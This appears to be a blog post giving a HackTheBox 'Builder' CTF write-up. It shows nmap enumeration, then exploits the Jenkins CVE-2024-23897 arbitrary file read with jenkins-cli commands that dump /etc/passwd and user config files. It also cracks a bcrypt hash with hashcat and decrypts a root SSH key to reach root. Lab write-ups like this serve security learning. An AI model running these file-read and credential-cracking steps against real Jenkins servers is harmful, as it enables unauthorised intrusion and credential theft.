            <content:encoded><![CDATA[<h3>HackTheBox — Builder Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sKlupPw2Rnn1Vc-oMHbbIg.png" /></figure><p>Hello and welcome to my first writeup! Through my cybersecurity journey, I’ve enjoyed reading other people’s writeups and using them as a tool to learn and compare methodologies. So, I figured it was time to give back. Plus, writing about my experience helps me solidify what I’ve learned and keeps a record of all the machines I’ve pwned. Let’s dive together and explore Builder by polarbearer &amp; amra13579.</p><h3>Summary</h3><p>Let’s start with the description from HackTheBox:</p><blockquote>“Builder is a medium-difficulty Linux machine that features a Jenkins instance. The Jenkins instance is found to be vulnerable to the [CVE-2024–23897](<a href="https://www.cvedetails.com/cve/[CVE-2024-23897](https://nvd.nist.gov/vuln/detail/CVE-2024-23897)/)">https://www.cvedetails.com/cve/[CVE-2024-23897](https://nvd.nist.gov/vuln/detail/CVE-2024-23897)/)</a> vulnerability that allows unauthenticated users to read arbitrary files on the Jenkins controller file system. An attacker is able to extract the username and password hash of the Jenkins user `jennifer`. Using the credentials to login into the remote Jenkins instance, an encrypted SSH key is exploited to obtain root access on the host machine.”</blockquote><h3>Enumeration</h3><p>I started by running an Nmap scan, utilizing <em>-sV </em>for version enumeration, <em>-sC </em>for default scripts, and <em>-oN</em> to save the scan results to the file <em>nmap.txt</em>.</p><pre># Nmap 7.80 scan initiated Fri Mar  1 06:31:41 2024 as: nmap -sCV -oN nmap.txt 10.10.11.10<br>Nmap scan report for 10.10.11.10<br>Host is up (0.047s latency).<br>Not shown: 998 closed ports<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)<br>8080/tcp open  http    Jetty 10.0.18<br>| http-open-proxy: Potentially OPEN proxy.<br>|_Methods supported:CONNECTION<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>|_http-server-header: Jetty(10.0.18)<br>|_http-title: Dashboard [Jenkins]<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Fri Mar  1 06:31:53 2024 -- 1 IP address (1 host up) scanned in 13.05 seconds</pre><p>The Nmap scan revealed two open TCP ports: port 22, which is running OpenSSH, and port 8080, hosting a web server. The web server appears to be a Jenkins server, based on the HTTP title.</p><p>Navigating to the website at 10.10.11.10:8080, we indeed come across a Jenkins instance, just as we expected based on the Nmap scan. We can also find the version number, Jenkins 2.441, at the bottom right corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8zXPTPe8nDVi_KvMJUO4QQ.png" /></figure><p>The Nmap scan also revealed the presence of a robots.txt file, used to indicate to web crawlers which portions of the website they are disallowed to scan. Let’s take a look and see if we can gather any useful information from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*QGLPml6F5H4CXBHwhgUd4Q.png" /></figure><p>Nothing of interest here, so let’s explore the website further to see if we can find anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*41sy6Xs94kk0twEyt8BxOQ.png" /></figure><p>Under the People tab, we find two potential users: anonymous and jennifer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sw6Olro95G_UDVjdCbO5JQ.png" /></figure><p>The Build History tab is empty, so nothing here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQGOy2P-CswC5lDVEVgEFA.png" /></figure><p>The Credentials tab shows a potential SSH private key for root, but we don’t have access to it.</p><p>Since we’re not finding much valuable information on the website, let’s try to see whether the Jenkins version we discovered is vulnerable.</p><h3>CVE-2024–23897</h3><p>After a quick search, we discover that we can exploit a vulnerability in Jenkins 2.441 using CVE-2024–23897.</p><p><a href="https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897">vulhub/jenkins/CVE-2024-23897 at master · vulhub/vulhub</a></p><p>For those interested in understanding how this exploit works, you can either visit the link above or read the description of the vulnerability from the GitHub below.</p><blockquote>Jenkins uses the <a href="https://github.com/kohsuke/args4j">args4j library</a> to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles), which leads attackers to read arbitrary files from Jenkins server.</blockquote><p>To exploit the vulnerability. we need to download the command-line client jenkins-cli.jar.</p><pre>~/Documents/htb/Builder ➜  wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar<br>--2024-03-01 10:12:12--  http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar<br>Connecting to 10.10.11.10:8080... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 3623400 (3.5M) [application/java-archive]<br>Saving to: ‘jenkins-cli.jar.2’<br><br>jenkins-cli.jar.2   100%[===================&gt;]   3.46M  1.56MB/s    in 2.2s    <br><br>2024-03-01 10:12:14 (1.56 MB/s) - ‘jenkins-cli.jar.2’ saved [3623400/3623400]</pre><p>Let’s test the exploit by attempting to retrieve the contents of /etc/passwd.</p><pre>~/Documents/htb/Builder ➜  java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ -http connect-node &quot;@/etc/passwd&quot;<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent &quot;www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin&quot; exists.<br>root:x:0:0:root:/root:/bin/bash: No such agent &quot;root:x:0:0:root:/root:/bin/bash&quot; exists.<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent &quot;mail:x:8:8:mail:/var/mail:/usr/sbin/nologin&quot; exists.<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent &quot;backup:x:34:34:backup:/var/backups:/usr/sbin/nologin&quot; exists.<br>_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent &quot;_apt:x:42:65534::/nonexistent:/usr/sbin/nologin&quot; exists.<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent &quot;nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin&quot; exists.<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent &quot;lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin&quot; exists.<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent &quot;uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin&quot; exists.<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent &quot;bin:x:2:2:bin:/bin:/usr/sbin/nologin&quot; exists.<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent &quot;news:x:9:9:news:/var/spool/news:/usr/sbin/nologin&quot; exists.<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent &quot;proxy:x:13:13:proxy:/bin:/usr/sbin/nologin&quot; exists.<br>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent &quot;irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin&quot; exists.<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent &quot;list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin&quot; exists.<br>jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent &quot;jenkins:x:1000:1000::/var/jenkins_home:/bin/bash&quot; exists.<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent &quot;games:x:5:60:games:/usr/games:/usr/sbin/nologin&quot; exists.<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent &quot;man:x:6:12:man:/var/cache/man:/usr/sbin/nologin&quot; exists.<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent &quot;daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&quot; exists.<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent &quot;sys:x:3:3:sys:/dev:/usr/sbin/nologin&quot; exists.<br>sync:x:4:65534:sync:/bin:/bin/sync: No such agent &quot;sync:x:4:65534:sync:/bin:/bin/sync&quot; exists.<br><br>ERROR: Error occurred while performing this command, see previous stderr output.</pre><p>Got it! We can identify a user named “jenkins” with a home folder located at /var/jenkins_home. Now, let’s try to retrieve the user flag</p><h4>User.txt</h4><pre>~/Documents/htb/Builder ➜  java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ -http connect-node &quot;@/var/jenkins_home/user.txt&quot;<br><br>ERROR: No such agent &quot;312f************************5fa6&quot; exists.<br></pre><p>We obtained the user flag!</p><p>Upon some further digging around, I discovered that the admin password is initially stored at/var/jenkins_home/secrets/initialAdminPassword.</p><pre>~/Documents/htb/Builder ➜  java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ -http connect-node &quot;@/var/jenkins_home/secrets/initialAdminPassword&quot;<br><br>ERROR: No such file: /var/jenkins_home/secrets/initialAdminPassword<br>java -jar jenkins-cli.jar connect-node NAME ... [-f]<br>Reconnect to a node(s)<br> NAME : Agent name, or empty string for built-in node; comma-separated list is<br>        supported<br> -f   : Cancel any currently pending connect operation and retry from scratch<br>        (default: false)</pre><p>Unfortunately, the file doesn’t seem to exist, so let’s continue researching Jenkins file structures. I came across an article that explains the typical file structure of Jenkins, outlining the location of users.xml and config.xml. Here’s the described file structure:</p><pre>|-- config.xml<br>|-- jenkins.install.InstallUtil.lastExecVersion<br>|-- org.jenkinsci.main.modules.sshd.SSHD.xml<br>`-- users<br>|   |-- pencillr_xxxxxxxxxxxxxxxxxxx<br>|   |   `-- config.xml<br>    `-- users.xml</pre><p><a href="https://dev.to/pencillr/spawn-a-jenkins-from-code-gfa">Spawn a Jenkins from code</a></p><pre>~/Documents/htb/Builder ➜  java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ -http connect-node &quot;@/var/jenkins_home/users/users.xml&quot;<br>&lt;?xml version=&#39;1.1&#39; encoding=&#39;UTF-8&#39;?&gt;: No such agent &quot;&lt;?xml version=&#39;1.1&#39; encoding=&#39;UTF-8&#39;?&gt;&quot; exists.<br>      &lt;string&gt;jennifer_12108429903186576833&lt;/string&gt;: No such agent &quot;      &lt;string&gt;jennifer_12108429903186576833&lt;/string&gt;&quot; exists.<br>  &lt;idToDirectoryNameMap class=&quot;concurrent-hash-map&quot;&gt;: No such agent &quot;  &lt;idToDirectoryNameMap class=&quot;concurrent-hash-map&quot;&gt;&quot; exists.<br>    &lt;entry&gt;: No such agent &quot;    &lt;entry&gt;&quot; exists.<br>      &lt;string&gt;jennifer&lt;/string&gt;: No such agent &quot;      &lt;string&gt;jennifer&lt;/string&gt;&quot; exists.<br>  &lt;version&gt;1&lt;/version&gt;: No such agent &quot;  &lt;version&gt;1&lt;/version&gt;&quot; exists.<br>&lt;/hudson.model.UserIdMapper&gt;: No such agent &quot;&lt;/hudson.model.UserIdMapper&gt;&quot; exists.<br>  &lt;/idToDirectoryNameMap&gt;: No such agent &quot;  &lt;/idToDirectoryNameMap&gt;&quot; exists.<br>&lt;hudson.model.UserIdMapper&gt;: No such agent &quot;&lt;hudson.model.UserIdMapper&gt;&quot; exists.<br>    &lt;/entry&gt;: No such agent &quot;    &lt;/entry&gt;&quot; exists.<br><br>ERROR: Error occurred while performing this command, see previous stderr output.</pre><p>After obtaining the users.xml file, we identify a username that confirms the presence of the user Jennifer in the system, jennifer_12108429903186576833. With this information, we can attempt to retrieve the config.xml file associated with Jennifer.</p><pre>~/Documents/htb/Builder ➜  java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ -http connect-node &quot;@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml&quot;<br>    &lt;hudson.tasks.Mailer_-UserProperty plugin=&quot;mailer@463.vedf8358e006b_&quot;&gt;: No such agent &quot;    &lt;hudson.tasks.Mailer_-UserProperty plugin=&quot;mailer@463.vedf8358e006b_&quot;&gt;&quot; exists.<br>   ...SNIP...<br>&lt;?xml version=&#39;1.1&#39; encoding=&#39;UTF-8&#39;?&gt;: No such agent &quot;&lt;?xml version=&#39;1.1&#39; encoding=&#39;UTF-8&#39;?&gt;&quot; exists.<br>  &lt;fullName&gt;jennifer&lt;/fullName&gt;: No such agent &quot;  &lt;fullName&gt;jennifer&lt;/fullName&gt;&quot; exists.<br>      &lt;seed&gt;6841d11dc1de101d&lt;/seed&gt;: No such agent &quot;      &lt;seed&gt;6841d11dc1de101d&lt;/seed&gt;&quot; exists.<br>  &lt;id&gt;jennifer&lt;/id&gt;: No such agent &quot;  &lt;id&gt;jennifer&lt;/id&gt;&quot; exists.<br>  &lt;version&gt;10&lt;/version&gt;: No such agent &quot;  &lt;version&gt;10&lt;/version&gt;&quot; exists.<br>      &lt;tokenStore&gt;: No such agent &quot;      &lt;tokenStore&gt;&quot; exists.<br>          &lt;filterExecutors&gt;false&lt;/filterExecutors&gt;: No such agent &quot;          &lt;filterExecutors&gt;false&lt;/filterExecutors&gt;&quot; exists.<br>    &lt;io.jenkins.plugins.thememanager.ThemeUserProperty plugin=&quot;theme-manager@215.vc1ff18d67920&quot;/&gt;: No such agent &quot;    &lt;io.jenkins.plugins.thememanager.ThemeUserProperty plugin=&quot;theme-manager@215.vc1ff18d67920&quot;/&gt;&quot; exists.<br>      &lt;passwordHash&gt;#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a&lt;/passwordHash&gt;: No such agent &quot;      &lt;passwordHash&gt;#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a&lt;/passwordHash&gt;&quot; exists.<br><br>ERROR: Error occurred while performing this command, see previous stderr output.</pre><p>After skimming through the config.xml file (which I’ve snipped off for brevity), we discover a possible hashed password: #jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</p><p>Let’s crack this hash and retrieve the password. First, let’s identify the type of algorithm being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C9oEG9oeMxS58lPGIj9xvw.png" /></figure><p>We identify that it is bcrypt $2*$, which corresponds to the Blowfish (Unix) algorithm. This matches hashcat mode 3200.</p><pre>~/Documents/htb/Builder ➜ hashcat -m 3200 -a 0hash /usr/share/wordlist/rockyou.txt <br>...[snip]...<br>$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess<br>...[snip]...</pre><p>Let’s proceed to log in with the username “jennifer” and password “princess”.</p><h3>Shell as root</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwsDy0S_Y9z34_A40Vkt7w.png" /></figure><p>We attempted to retrieve the private SSH key, but, it appears to be concealed.</p><pre>&lt;input name=&quot;_.privateKey&quot; type=&quot;hidden&quot; value=&quot;{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}&quot;&gt;</pre><p>However, upon inspecting the website element, we encounter what appears to be the encrypted SSH key. Let’s proceed to decrypt it. Since I wasn’t sure about the password encryption Jenkins utilizes, I conducted a quick Google search and found decryption can be performed using hudson.util.Secret via the script console, accessible at “Dashboard” &gt; “Manage Jenkins” &gt; “Script Console”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rATR6ZsHHJmUiw8dRRyC0w.png" /></figure><p>Now that we’ve successfully decrypted the SSH private key, let&#39;s attempt to SSH into the machine as root.</p><h4>root.txt</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*deVW4JMBRh5dnt8cKi9nRA.png" /></figure><p>We managed to gain root access! We also obtained the root flag.</p><p>If after reading the writeup you have any feedback regarding the article or suggestions for improving my methodology in tackling this machine, please feel free to leave a comment on the article or reach out to me directly. I constantly strive to enhance my skills and learn new techniques, so your input is highly valued. Thanks for the support!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=143ad7fde347" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>